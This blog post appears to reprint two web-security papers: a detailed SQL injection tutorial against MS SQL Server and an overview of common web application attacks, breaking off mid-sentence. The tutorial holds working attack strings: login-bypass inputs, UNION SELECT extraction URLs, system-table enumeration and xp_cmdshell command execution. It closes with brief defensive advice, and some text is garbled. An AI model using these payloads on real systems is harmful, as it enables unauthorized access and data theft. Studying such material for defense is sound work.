Saturday 7 March 2009

MOSSAD'Z SOCIAL ENGINEERING

MOSSAD'Z SOCIAL ENGINEERING


1. SQL Injection

SQL injection is a technique for exploiting web applications that use client-supplied
data in SQL queries, but without first stripping potentially harmful characters. Because of these facts, it’s important we understand well how SQL Server can be subverted and more importantly how to prevent it. SQL Server is a tool and if used incorrectly or negligently can result in damage not only to the data in the databases, but also to other applications on the
network. This means that we have to start taking Microsoft SQL Server security seriously.Despite
being remarkably simple to protect against, there is an astonishing number of
production systems connected to the Internet that are vulnerable to this type of attack.
The objective of this paper is to focus the professional security community on the
techniques that can be used to take advantage of a web application that is vulnerable to
SQL injection, and to make clear the correct mechanisms that should be put in place to
protect against SQL injection and input validation problems in general.Readers should have a basic understanding of how databases work and how SQL is used to access them.Most web browsers will not properly interpret requests containing punctuation characters and many other symbols unless they are URL-encoded. In this paper, I have
used regular ASCII characters in the examples and screenshots to maintain maximum
readability. In practice, though, you will need to substitute %25 for percent sign, %2B
for plus sign, etc., in the HTTP request statement.
Testing for Vulnerability
Thoroughly checking a web application for SQL injection vulnerability takes more
effort than one might guess. It’s nice when you throw a single quote into the first
argument of a script and the server returns a nice blank, white screen with nothing but
an ODBC error on it, but such is not always the case. It is very easy to overlook a
perfectly vulnerable script if you don’t pay attention to details.
You should always check every parameter of every script on the server. Developers and
development teams can be awfully inconsistent. The programmer who designed Script
A might have had nothing to do with the development of Script B, so where one might
be immune to SQL injection, the other might be ripe for abuse. In fact, the programmer
who worked on Function A in Script A might have nothing to do with Function B in
Script A, so while one parameter in one script might be vulnerable, another might not.
Even if an entire web application is conceived, designed, coded and tested by one
programmer, one vulnerable parameter might be overlooked.It can be tempting to simply delete everything you’re not working with
to make things look simpler, particularly with applications that have parameter lines
that go into many thousands of characters. Leaving out parameters or giving other
parameters bad arguments while you’re testing another for SQL injection can break the
application in other ways that prevent you from determining whether or not SQL
injection is possible. For instance, assume that this is a completely valid, unaltered
parameter line
ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste
while this parameter line gives you an ODBC error
ContactName=Maria%20Anders&CompanyName=‘%20OR
and checking with this line might simply return an error indicating that you need to
specify a ContactName value.
CompanyName=‘
This line…
ContactName=BadContactName&CompanyName=‘
…might give you the same page as the request that didn’t specify ContactName at all.
Or, it might give you the site’s default homepage. Or, perhaps when the application
couldn’t find the specified ContactName, it didn’t bother to look at CompanyName, so it
didn’t even pass the argument of that parameter into an SQL statement. Or, it might
give you something completely different. So, when testing for SQL injection, always
use the full parameter line, giving every argument except the one that you are testing a
legitimate value.
Evaluating Results
If the server returns a database error message of some kind, injection was definitely
successful. However, the messages aren’t always obvious. Again, developers do some
strange things, so you should look in every possible place for evidence of successful
injection. First, search through the entire source of the returned page for phrases such as
“ODBC,” “SQL Server,” “Syntax,” etc. More details on the nature of the error can be in
hidden input, comments, etc. Check the headers. I have seen web applications on
production systems that return an error message with absolutely no information in the
body of the HTTP response, but that have the database error message in a header. Many
web applications have these kinds of features built into them for debugging and QA
purposes, and then developers forget to remove or disable them before release.You should look not only on the immediately returned page, but also in linked pages.
During a recent penetration test, I saw a web application that returned a generic error
message page in response to an SQL injection attack. Clicking on a stop sign image
next to the error retrieved another page giving the full SQL Server error message.
Another thing to watch out for is a 302 page redirect. You may be whisked away from
the database error message page before you even get a chance to notice it.
Note that SQL injection may be successful even if the server returns an ODBC error
messages. Many times the server returns a properly formatted, seemingly generic error
message page telling you that there was “an internal server error” or a “problem
processing your request.”
Some web applications are designed to return the client to the site’s main page
whenever any type of error occurs. If you receive a 500 Error page back, chances are
that injection is occurring. Many sites have a default 500 Internal Server Error page that
claims that the server is down for maintenance, or that politely asks the user to send an
e-mail to their support staff. It can be possible to take advantage of these sites using
stored procedure techniques, which are discussed later.
Attacks
This section describes the following SQL injection techniques:
??Authorization bypass
??Using the SELECT command
??Using the INSERT command
??Using SQL server stored procedures
Authorization Bypass
The simplest SQL injection technique is bypassing logon forms. Consider the following
web application code:
SQLQuery = "SELECT Username FROM Users WHERE Username = ‘" &
strUsername & "‘ AND Password = ‘" & strPassword & "‘"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If
Here’s what happens when a user submits a username and password. The query will go
through the Users table to see if there is a row where the username and password in the
row match those supplied by the user. If such a row is found, the username is stored in
the variable strAuthCheck, which indicates that the user should be authenticated. If there
is no row that the user-supplied data matches, strAuthCheck will be empty and the user
will not be authenticated.
If strUsername and strPassword can contain any characters that you want, you can
modify the actual SQL query structure so that a valid name will be returned by the
query even if you do not know a valid username or a password. How? Let’s say a user
fills out the logon form like this:
Login: ‘ OR ‘‘=‘
Password: ‘ OR ‘‘=‘
This will give SQLQuery the following value:
SELECT Username FROM Users WHERE Username = ‘‘ OR ‘‘=‘‘ AND Password = ‘‘
OR ‘‘=‘‘
Instead of comparing the user-supplied data with that present in the Users table, the
query compares a quotation mark (nothing) to another quotation mark (nothing). This,
of course, will always return true. (Please note that nothing is different from null.) Since
all of the qualifying conditions in the WHERE clause are now met, the application will
select the username from the first row in the table that is searched. It will pass this
username to strAuthCheck, which will ensure our validation. It is also possible to use
another row’s data, using single result cycling techniques, which will be discussed later.
Using the SELECT Command
For other situations, you must reverse-engineer several parts of the vulnerable web
application’s SQL query from the returned error messages. To do this, you must know
how to interpret the error messages and how to modify your injection string to defeat
them.
Direct vs. Quoted
The first error that you normally encounter is the syntax error. A syntax error indicates
that the query does not conform to the proper structure of an SQL query. The first thing
that you need to determine is whether injection is possible without escaping quotation.
In a direct injection, whatever argument you submit will be used in the SQL query
without any modification. Try taking the parameter’s legitimate value and appending a
space and the word “OR” to it. If that generates an error, direct injection is possible.
Direct values can be either numeric values used in WHERE statements, such as this…
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE
Employee = " & intEmployeeID
…or the argument of an SQL keyword, such as table or column name:
SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " &
strColumn
All other instances are quoted injection vulnerabilities. In a quoted injection, whatever
argument you submit has a quote prefixed and appended to it by the application, like
this:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE
EmployeeID = ‘" & strCity & "‘"
To “break out” of the quotes and manipulate the query while maintaining valid syntax,
your injection string must contain a single quote before you use an SQL keyword, and
end in a WHERE statement that needs a quote appended to it. And now to address the
problem of “cheating.” Yes, SQL Server will ignore everything after a “;--” but it’s the
only server that does that. It’s better to learn how to do this the “hard way” so that
you’ll know how to handle an Oracle, DB/2, MySQL, or any other kind of database
server.
Basic UNION
SELECT queries are used to retrieve information from a database. Most web applications
that use dynamic content of any kind will build pages using information returned from
SELECT queries. Most of the time, the part of the query that you will be able to
manipulate will be the WHERE clause.
To make the server return records other than those intended, modify a WHERE clause by
injecting a UNION SELECT. This allows multiple SELECT queries to be specified in one
statement. Here’s one example:
SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT
CompanyName FROM Customers WHERE 1 = 1
This will return the recordsets from the first query and the second query together. The
ALL is necessary to escape certain kinds of SELECT DISTINCT statements. Just make sure
that the first query (the one the web application’s developer intended to be executed)
returns no records. Suppose you are working on a script with the following code:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City =
‘" & strCity & "‘"
And you use this injection string:
‘ UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘
The following query will be sent to the database server:
SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘‘ UNION ALL
SELECT OtherField FROM OtherTable WHERE ‘‘=‘‘
The database engine will inspect the Employees table, looking for a row where City is
set to “nothing.” Since it will not find it, no records will be returned. The only records
that will be returned will be from the injected query. In some cases, using “nothing”
will not work because there are entries in the table where “nothing” is used, or because
specifying “nothing” makes the web application do something else. You simply need to
specify a value that does not occur in the table. When a number is expected, zero and
negative numbers often work well. For a text argument, simply use a string such as
“NoSuchRecord” or “NotInTable.”
Figure 1: Syntax breaking on direct injection.
The server returned the page illustrated in Figure 1 in response to the following:
http://localhost/simpleunquoted.asp?city=-1 UNION SELECT Otherfield FROM
OtherTable WHERE 1=1
A similar response was obtained with the following quoted injection:
http://localhost/simplequoted.asp?city=’UNION SELECT Otherfield FROM OtherTable
WHERE “=’
Query Enumeration with Syntax Errors
Some database servers return the portion of the query containing the syntax error in
their error messages. In these cases you can “bully” fragments of the SQL query from
the server by deliberately creating syntax errors. Depending on the way the query is
designed, some strings will return useful information and others will not.
Here’s my list of suggested attack strings. Several will often return the same or no
information, but there are instances where only one of them will give you helpful
information. Try them all

BadValue’
‘BadValue
‘ OR ‘
‘ OR
;
9,9,9
Parentheses
If the syntax error contains a parenthesis in the cited string (such as the SQL Server
message used in the following example) or the message complains about missing
parentheses, add a parenthesis to the bad value part of your injection string, and one to
the WHERE clause. In some cases, you may need to use two or more parentheses.
Here’s the code used in parenthesis.asp:
mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees
WHERE (City = ‘" & strCity & "‘)"
So, when you inject this value…
“‘) UNION SELECT OtherField FROM OtherTable WHERE (‘‘=‘”,
…the following query will be sent to the server:
SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE
(City = ‘‘) UNION SELECT OtherField From OtherTable WHERE (‘‘=‘‘)

Page 9
Figure 2: Parenthesis breaking on a quoted injection.
The server returned the page illustrated in Figure 2 in response to the following:
http://localhost/parenthesis.asp?city=’
The same response was obtained with the following quoted injection:
http://localhost/ parenthesis.asp?city=’) UNION SELECT Otherfield FROM OtherTable
WHERE ( “=’
LIKE Queries
Another common debacle is being trapped in a LIKE clause. Seeing the LIKE keyword or
percent signs cited in an error message are indications of this situation. Most search
functions use SQL queries with LIKE clauses, such as the following:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE
LastName LIKE ‘%" & strLastNameSearch & "%’"
The percent signs are wildcards, so in this example the WHERE clause would return true
in any case where strLastNameSearch appears anywhere in LastName. To stop the
intended query from returning records, your bad value must be something that none of
the values in the LastName field contain. The string that the web application appends to
the user input (usually a percent sign and single quote, and often parenthesis as well)
needs to be mirrored in the WHERE clause of the injection string. Also, using “nothing”
as your bad values will make the LIKE argument “%%” resulting in a full wildcard,
which returns all records. The second screenshot shows a working injection query for
the above code.
Dead Ends
There are situations that you may not be able to defeat without an enormous amount of
effort, if at all. Occasionally you’ll find yourself in a query that you just can’t seem to
break. No matter what you do, you get error after error after error. Many times, this is
because you’re trapped inside a function that’s inside a WHERE clause, and the WHERE
clause is in a subselect which is an argument of another function whose output is having
string manipulations performed on it and then used in a LIKE clause which is in a
subselect somewhere else. Not even SQL Server’s “;- -” can rescue you in those cases.
Figure 3: LIKE breaking on a quoted injection.
The server returned the page illustrated in Figure 3 in response to the following:
http://localhost/like.asp?LastNameSearch=’OR’
The same response was obtained with the following quoted injection:
http://localhost/ parenthesis.asp?city=’) UNION ALL SELECT OtherField FROM
OtherTable WHERE ‘%37=’
Column Number Mismatch
If you can get around the syntax error, the hardest part is over. The next error message
will probably complain about a bad table name. Choose a valid system table name (see
Database Server System Tables on page 23).
You will then most likely be confronted with an error message that complains about the
difference in the number of fields in the SELECT and UNION SELECT queries. You need
to find out how many columns are requested in the legitimate query. Let’s say that this
is the code in the web application that you’re attacking:
SQLString = SELECT FirstName, LastName, EmployeeID FROM Employees WHERE
City = ‘" & strCity "‘"
The legitimate SELECT and the injected UNION SELECT need to have an equal number
of columns in their WHERE clauses. In this case, they both need three. Their column
types also need to match. If FirstName is a string, then the corresponding field in your
injection string needs to be a string as well. Some servers, such as Oracle, are very strict
about this. Others are more lenient and allow you to use any data type that can do
implicit conversion to the correct data type. For example, in SQL Server, putting
numeric data in a varchar’s place is allowed, because numbers can be converted to
strings implicitly. Putting text in a smallint column, however, is illegal because text
cannot be converted to an integer. Because numeric types often convert to strings easily
(but not vice versa), use numeric values by default.
To determine the number of columns you need to match, keep adding values to the
UNION SELECT clause until you stop getting a column number mismatch error. If you
encounter a data type mismatch error, change the data type (of the column you entered)
from a number to a literal. Sometimes you will get a conversion error as soon as you
submit an incorrect data type. At other times, you will get only the conversion message
once you’ve matched the correct number of columns, leaving you to figure out which
columns are the ones that are causing the error. When the latter is the case, matching the
value types can take a very long time, since the number of possible combinations is 2n
where n is the number of columns in the query. By the way, 40-column SELECT
commands are not terribly uncommon.
If all goes well, the server should return a page with the same formatting and structure
as a legitimate one. Wherever dynamic content is used, you should have the results of
your injection query.
To illustrate, when I submitted the following command…
http://localhost/column.asp?city=‘UNION ALL SELECT 9 FROM SysObjects WHERE
‘=‘
… I received the error message shown in Figure 4:
ll queries in an SQL statement containing a UNION operator must have an equal
number of expressions in their target lists.
Figure 4: Response to command specifying one column.
So I incremented the number of columns and resubmitted the command, continuing this
until I received a different error message.
http://localhost/column.asp?city=‘UNION ALL SELECT 9,9 FROM SysObjects
WHERE ‘=‘
http://localhost/column.asp?city=‘UNION ALL SELECT 9,9,9 FROM SysObjects
WHERE ‘=‘
http://localhost/column.asp?city=‘UNION ALL SELECT 9,9,9,9 FROM SysObjects
WHERE ‘=‘
On the last command, the server returned the following error message:
Operand type dash; ntext is incompatible with int.
So I submitted the following command and the server returned the page illustrated in
Figure 5:
http://localhost/column.asp?city=‘UNION ALL SELECT 9,9,9,’text’ FROM SysObjects
WHERE ‘=‘
Figure 5: Column number matching.
Additional WHERE Columns
Sometimes your problem may be additional WHERE conditions that are added to the
query after your injection string. Consider this line of code:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City =
‘" & strCity & "‘ AND Country = ‘USA’"
Trying to deal with this query like a simple direct injection would yield a query such as:
SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘NoSuchCity’
UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country =
‘USA’
Which yields an error message such as:
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name ‘Country’.
The problem here is that your injected query does not have a table in the FROM clause
that contains a column named Country in it. There are two ways to solve this problem:
use the “;--” terminator (if you’re using SQL Server), or guess the name of the table that
the offending column is in and add it to your FROM clause. Use the attack queries listed
in Query Enumeration with Syntax Errors to try to get as much of the legitimate query
back as possible.
Table and Field Name Enumeration
Now that you have injection working, you have to decide what tables and fields you
want to access. With SQL Server, you can easily get all of the table and column names
in the database. With Oracle and Access, you may or may not be able to do this,
depending on the privileges of the account that the web application is using to access
the database.
The key is to be able to access the system tables that contain the table and column
names. In SQL Server, they are called sysobjects and syscolumns, respectively. There is
a list of system tables for other database servers at the end of this document; you will
also need to know relevant column names in those tables). These tables contain a
listing of all tables and columns in the database. To get a list of user tables in SQL
Server, use the following injection query, modified to fit you own circumstances:
SELECT name FROM sysobjects WHERE xtype = ‘U’
This will return the names of all user-defined tables (that’s what xtype = ‘U’ does) in
the database. Once you find one that looks interesting (we’ll use Orders), you can get
the names of the fields in that table with an injection query similar to this
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = ‘Orders’)
http://localhost/simplequoted.asp?city = ’UNION ALL SELECT name, 0, 0, ‘A’, 0
FROM sysobjects WHERE xtype=’U
The second illustration in Figure 6 shows the results returned by the following injection
query:
http://localhost/simplequoted.asp?city = ’UNION ALL SELECT name, 0, 0, ‘A’, 0
FROM sysobjects WHERE id = (SELECT id FROM sysobjects WHERE name =
‘ORDERS’) AND “=’
Single Record Cycling
If possible, use an application that is designed to return as many results as possible.
Search tools are ideal because they are made to return results from many different rows
at once. Some applications are designed to use only one recordset in their output at a
time, and ignore the rest. If you’re faced with a single product display application, you
can still prevail.
You can manipulate your injection query to allow you to slowly, but surely, get your
desired information back in full. This is accomplished by adding qualifiers to the
WHERE clause that prevent certain rows’ information from being selected. Let’s say you
started with this injection string:
‘ UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE ‘‘=‘
And you got the first values in FieldOne, FieldTwo and FieldThree injected into your
document. Let’s say the values of FieldOne, FieldTwo and FieldThree were “Alpha,”
“Beta” and “Delta,” respectively. Your second injection string would be:
‘ UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE
FieldOne NOT IN (‘Alpha’) AND FieldTwo NOT IN (‘Beta’) AND FieldThree NOT IN
(‘Delta’) AND ‘‘=‘
The NOT IN VALUES clause makes sure that the information you already know will not
be returned again, so the next row in the table will be used instead. Let’s say these
values were “AlphaAlpha,” “BetaBeta” and “DeltaDelta.”
‘ UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE
FieldOne NOT IN (‘Alpha’, ‘AlphaAlpha’) AND FieldTwo NOT IN (‘Beta’, ‘BetaBeta’)
AND FieldThree NOT IN (‘Delta’, ‘DeltaDelta’) AND ‘‘=‘
This will prevent both the first and second sets of known values from being returned.
You simply keep adding arguments to VALUES until there are none left to return. This
makes for some rather large and cumbersome queries while going through a table with
many rows, but it’s the best method there is.
Figure 7: Single record cycling.
The first illustration in Figure 7 shows the results returned by the following injection
query:
http://localhost/simplequoted.asp?employeeid=-1 UNION ALL SELECT ContactName,
0, 0, ‘A’, 0 FROM Customers WHERE 1=1
The second illustration in Figure 6 shows the results returned by the following injection
query:
http://localhost/simplequoted.asp?employeeid=-1 UNION ALL SELECT ContactName,
0, 0, ‘A’, 0 FROM Customers WHERE ContactName NOT IT (‘Maria Anders’) AND
1=1
Using the INSERT Command
The INSERT command is used to add information to the database. Common uses of
INSERT in web applications include user registrations, bulletin boards, adding items to
shopping carts, etc. Checking for vulnerabilities with INSERT statements is the same as
doing it with WHERE. You may not want to try to use INSERT if avoiding detection is an
important issue. INSERT injection often floods rows in the database with single quotes
and SQL keywords from the reverse-engineering process. Depending on how watchful
the administrator is and what is being done with the information in that database, it may
be noticed.
Here’s how INSERT injection differs from SELECT injection. Suppose a site allows user
registration of some kind, providing a form where you enter your name, address, phone
number, etc. After submitting the form, you navigate to a page where it displays this
information and gives you an option to edit it. This is what you want. To take advantage
of an INSERT vulnerability, you must be able to view the information that you’ve
submitted. It doesn’t matter where it is. Maybe when you log on, it greets you with the
value it has stored for your name in the database. Maybe the application sends you email
with the Name value in it. However you do it, find a way to view at least some of
the information you’ve entered.
An INSERT query looks like this:
INSERT INTO TableName VALUES (‘Value One’, ‘Value Two’, ‘Value Three’)
You want to be able to manipulate the arguments in the VALUES clause to make them
retrieve other data. You can do this using subselects.
Consider this example code:
SQLString = "INSERT INTO TableName VALUES (‘" & strValueOne & "‘, ‘" &
strValueTwo & "‘, ‘" & strValueThree & "‘)"
You fill out the form like this:
Name: ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘
Email: blah@blah.com
Phone: 333-333-3333
Making the SQL statement look like this:
INSERT INTO TableName VALUES (‘‘ + (SELECT TOP 1 FieldName FROM
TableName) + ‘‘, ‘blah@blah.com’, ‘333-333-3333’)
When you go to the preferences page and view your user’s information, you’ll see the
first value in FieldName where the user’s name would normally be. Unless you use TOP
1 in your subselect, you’ll get back an error message saying that the subselect returned
too many records. You can go through all of the rows in the table using NOT IN ( ) the
same way it is used in single-record cycling.
Using SQL Server Stored Procedures
An out-of-the-box installation of Microsoft SQL Server has more than 1,000 stored
procedures. If you can get SQL injection working on a web application that uses SQL
Server as it’s backend, you can use these stored procedures to perform some remarkable
feats. Depending on the permissions of the web application’s database user, some, all or
none of these procedures may work. There is a good chance that you will not see the
stored procedure’s output in the same way you retrieve values with regular injection.
Depending on what you’re trying to accomplish, you may not need to retrieve data at
all. You can find other means of getting your data returned to you.
Procedure injection is much easier than regular query injection. Procedure injection into
a quoted vulnerability should look like this:
simplequoted.asp?city=seattle’;EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:
A valid argument is supplied at the beginning, followed by a quote; the final argument
to the stored procedure has no closing quote. This will satisfy the syntax requirements
inherent in most quoted vulnerabilities. You may also need to deal with parentheses,
additional WHERE statements, etc., but there’s no column-matching or data types to
worry about. This makes it possible to exploit a vulnerability in the same way that you
would with applications that do not return error messages.
xp_cmdshell
master.dbo.xp_cmdshell is the “holy grail” of stored procedures. It takes a single
argument, which is the command you want to be executed at SQL Server’s user level.
xp_cmdshell {‘command_string’} [, no_output]
The problem? It’s not likely to be available unless the SQL Server user that the web
application is using is the “sa.”
sp_makewebtask
Another favorite of mine is master.dbo.sp_makewebtask.
sp_makewebtask [@outputfile =] ‘outputfile’, [@query =] ‘query’
As you can see, its arguments are an output file location and an SQL statement.
sp_makewebtask takes a query and builds a webpage containing its output. Note that you
can use a UNC pathname as an output location. This means that the output file can be
If there is a firewall restricting the server’s access to the Internet, try making the output
file on the website itself. (You’ll need to either know or guess the webroot directory).
Also be aware that the query argument can be any valid T-SQL statement, including
execution of other stored procedures. Making “EXEC xp_cmdshell ‘dir c:’” the @query
argument will give you the output of “dir c:” in the webpage. When nesting quotes,
remember to alternate single and double quotes.
Solutions
I recommend two specific safeguards against SQL injection attacks: sanitize the data
and secure the application
Data Sanitization
All client-supplied data needs to be cleansed of any characters or strings that could
possibly be used maliciously. This should be done for all applications, not just those
that use SQL queries. Stripping quotes or putting backslashes in front of them is
nowhere near enough. The best way to filter your data is with a default-deny regular
expression. Make it so that you include only the type of characters that you want. For
instance, the following regular expression will return only letters and numbers:
s/[^0-9a-zA-Z]//\
Make your filter narrow and specific. Whenever possible, use only numbers. After that,
numbers and letters only. If you need to include symbols or punctuation of any kind,
make absolutely sure to convert them to HTML substitutes, such as &quote; or >. For
instance, if the user is submitting an e-mail address, allow only the “at” sign,
underscore, period, and hyphen in addition to numbers and letters, and allow them only
after those characters have been converted to their HTML substitutes.
Secure SQL Coding for your Web Application
There are also a few rules specific to SQL injection. First, prefix and append a quote to
all user input, even if the data is numeric. Next, limit the rights of the database user.
Don’t give that user access to all of the system-stored procedures if that user needs
access to only a handful of user-defined ones.
Database Server System Tables
The following table lists the system tables that are useful in SQL injection. You can
obtain listings of the columns in each of these tables using any Internet search engine.
MS SQL Server MS Access Server Oracle
sysobjects
syscolumns
MSysACEs
MsysObjects
MsysQueries
MSysRelationships
SYS.USER_OBJECTS
SYS.TAB
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.ALL_TABLES
SYS.USER_TAB_COLUMNS
SYS.USER_CONSTRAINTS
SYS.USER_TRIGGERS
SYS.USER_CATALOG

2. Attack and Intrusion Prevention

The ever-increasing desire of organizations to do e-Business has transformed the IT landscape. Web
application development and deployment is accelerating rapidly as organizations open up applications
and related business processes to a broader range of users in hopes of increasing revenue streams and
reducing operational costs.
However, as organizations deploy new web applications under the pressures of a competitive landscape,
they inadvertently open themselves up to a new breed of security vulnerabilities not addressed by
traditional network security technologies.
Because of the pressures to deliver the new web application to market rapidly, security is rarely
considered during the software development process. Developers create software with functionality in
mind – not security. Web applications are designed to meet a business need, not to ensure the security of
the system. Either the security policy is not generally available, or it just seems easier to postpone security
concerns.
As a result, application security is most often addressed after the application has been deployed. As
vulnerabilities are detected, developers scramble with patches and fixes in attempt to plug the holes,
resulting in an endless and unmanageable number of security patches. The Computer Emergency
Response Team (CERT) reported an average of 71 new vendor security patches released each week in
2002. These applications remain exposed to a wide range of vulnerabilities that hackers are targeting to
gain illegal access and exploit the application.
The following statistical trends highlight the growing web security problem.
• Application attacks are on the rise. In an InformationWeek Research 2002 Global Information Security
Survey fielded by PricewaterhouseCoopers, 30% of companies reported the hacking of known
applications as a source of attack, up from 12% in 2001.
• The number of security incidents is growing dramatically each year. The Computer Emergency
Response Team (CERT), an organization that tracks computer security incidents and vulnerabilities,
reported 82,094 incidents in 2002, up from 52,658 in 2001.
• The majority of attacks use port 80 and port 443. Gartner Group recently reported that more than 70
percent of all attacks today target web and application layer vulnerabilities.
Myth: “We have a firewall and IDS and we are secure”
Businesses spend billions of dollars each year on firewalls, intrusion-detection systems (IDS) and other
network security technologies in an effort to lock down their applications and systems from attack. And
although these systems are a useful first line of defense against network-based attacks and intrusion,
these defense mechanisms are useless in stopping web-based attacks. To pass web traffic, firewalls must leave open TCP ports 80 and 443, providing absolutely no protection against attacks launched using
HTTP and HTTPS.
IDS work by comparing network traffic against a known database of vulnerabilities and alerting
administrators when intrusions occur. These systems are of little value for web security, as trying to
detect application-specific attacks for every type of application is highly impractical. Many hackers are
exploiting HTTP and HTTPS via Port 80 and 443, using web applications as a means of entry into the
enterprise or to disrupt service availability.
No strategy or technology can prevent all potential attacks; a sophisticated hacker with adequate
resources and a significant grudge can probably defeat many different defenses. However, by
understanding the nature and scope of potential attacks, companies can create strategies for defending
against a great majority of potential problems, balancing the cost and effort of security against risks to
corporate data and service availability. To effectively prevent attacks we have to understand the scope of
potential problems in the first place.
There are three basic steps hackers employ when launching attacks:
• Identify site information and vulnerabilities.
• Exploit known problems, both at the network and application layers.
• Cover any traces of the attack to prevent detection.
The Hacker’s First Step – Scan for Vulnerabilities
The first step used by hackers when planning an attack is to assess the vulnerabilities of their target.
Virtually all web sites give away their Server Type and Version, and most provide the server modules
(SSL, PHP, PERL, etc.) and versions. Even the OS type and version on which the server is running are
often delivered by default in the clear. There configurations arm hackers with a number of avenues to
launch attacks against any site. Attackers can formulate a plan to exploit a site based on specifics of the
products and topology detected.
A variety of automated tools, such as Whisker, Nessus, and Nikto, make preparing for an attack even
easier. These tools probe the security of web sites, automating what once was a very tedious and manual
process. This means that the sophistication and determination required of the hacker to scan a site for
vulnerabilities is much lower than before. Web applications are now vulnerable to an ever-increasing
universe of potential villains.
Whisker scanning http://www.xyz.com
Servers: Microsoft IIS 4.0
Windows 2000 SP2
FrontPage/5.0.2.2623
Vulnerable URL : cgi-bin/code.php3
Vulnerable URL : cgi-bin/admin.php3
Figure 1: Automated programs scan sites for potential openings
4 Attack and Intrusion Prevention.Exploiting Web Applications
Once armed with information about the site, hackers may begin to probe for specific problems, try to
discover unprotected resources, or even launch attacks against known applications. This phase requires
no special tools other than a web browser; the URL is the carrier for most application attack payloads.
Discussed below are some of most common – and destructive – web application exploits, grouped
generally by delivery method.
Input Validation
The single biggest cause of web application vulnerabilities is lack of proper input validation. Attackers
can use these flaws to attack backside components, such as a database, through a web application.
Hackers use input validation attacks to generate informational errors, to obtain arbitrary data access, or to
execute commands, grab passwords, list directories, or copy files.
Many types of attacks fall into this category. Some of the more common are listed below:
• SQL Injection Attacks - Exploiting nonexistent or poorly designed input validation routines, SQL
injection attacks represent a serious threat to any database-driven site. In a direct SQL Command
Injection, an attacker creates or alters existing SQL commands to gain access to unintended data
or even the ability to execute system-level commands on the host.
• Direct OS or System Command Injection - In some instances, a hacker can execute operating system
commands by injecting them via HTML forms, cookies or a URL parameter. Using this type of
attack the hacker is able to execute system-level functions such as removing and copying files,
sending emails, and calling operating system tools to modify the application’s input and output.
• Meta-characters - Some characters such as a semicolon, equals sign or a tilde have special meaning
in scripts and applications. Hackers can change the behavior of a web-application by inserting
meta-characters into URL-encoded parameters within query strings. Since many meta-characters
are interpreted differently by different servers, the risk depends on the operating system,
programming languages and workflow of the affected application. However, meta-characters can
create huge security holes if allowed to penetrate the application.
• Cross-Site Scripting - This type of attack uses the web application as a mechanism to transport an
attack to a client browser. A successful attack may disclose the user's session token, attack the
local machine, or spoof content to fool the user. Cross-site scripting attacks cause users to execute
malicious scripts unintentionally, often violating trust between the user and host web site which
is, presumably, a trusted site. The security policy of the site may also be compromised.
• Format String Attacks – In a format string attack, an attacker changes the format specifications sent
to a common program function like printf(), uncovering information about the system or even
executing arbitrary code. Good programming practices can prevent the vulnerability, but the
potentially problematic functions are widespread.Path Traversal Attacks - Path traversal vulnerabilities allow a hacker to execute commands or view
data outside of the intended target path. Path traversal attacks are normally carried out via
unchecked URL input parameters, cookies and HTTP request headers. Many web applications
use the file system to save information temporarily and/or permanently. The file system may be
accessed via numerous commands and functions used by the web application programming
language. File system functions and commands can be very dangerous when carelessly used or
publicly accessible. If a hacker knows the location of a sensitive file, he can retrieve the contents
of the file by making an HTTP request containing the relative path
Forceful Browsing
Forceful browsing is very fundamental and easy to execute hacking technique that allows the attacker to
jump directly to pages that can normally only be accessed through authentication mechanisms. By
“guessing” the names of files and directories the hacker can view them without going through the
business logic leading to those objects.
Buffer Overflows
Most application programs have fixed-size buffers that hold data in memory. A buffer overflow occurs
when an attacker sends more data to the buffer than it was intended to hold. The extra data then
“overflows” to adjacent buffers and can be executed as if it were a program.
Buffer overflows provide the hacker with a means to launch malicious code on the target server. That
code may include commands to steal passwords or confidential information, alter system configurations,
install backdoors, or launch other attacks
Parameter Tampering
Parameter tampering is a class of attack in which a hacker modifies data sent between the client and web
application, such as URL query strings, form fields and cookies. Most web applications include a backend
database and the URL includes a SQL call to this database. Malicious users can manipulate the SQL
code to potentially retrieve a listing of all users, passwords, credit card numbers, or any other data stored
in the database.
Common attack types that fall under this category are cookie poisoning, HTTP header manipulation and
form field manipulation.
• Cookie Poisoning - Cookie Poisoning is the modification of a cookie by a hacker to gain
unauthorized information about a user, typically for the purposes of identity theft. The hacker
will then use this information to gain access to the user’s accounts or fraudulently open new
accounts.
• HTTP Header Manipulation - HTTP headers are control information passed between web clients
and web servers over HTTP. Since HTTP request headers originate on the client, they may easily
be altered by an attacker to include meta characters to take control of the system or manipulate
cookies to steal another user’s login and access their account.Hidden Form Fields - Hidden HTML form fields typically hold system passwords or information
such as merchandise prices in an e-commerce application. These “hidden” fields can be seen by
performing a ‘view source’ on the web page. Some developers make the mistake of passing
application configuration parameters to backend programs with hidden fields. Whether these
form fields are pre-selected, free form or hidden, they can all be manipulated by a user to submit
whatever values he/she chooses. For example, a user could use hidden form field to modify the
price of an item for sale on an e-commerce site to purchase it at little or no cost. This can be
accomplished by simply saving the page using view source, editing the HTML and re-loading the
page in the web browser.
Disguising Attacks with Unicode and URL Encoding
Unicode was developed to allow a Universal Character Set (UCS) that encompasses most of the world's
writing systems. Unicode Encoding is a method for storing characters with multiple bytes. Wherever
input data is allowed, data can be entered using Unicode to disguise malicious code and permit a variety
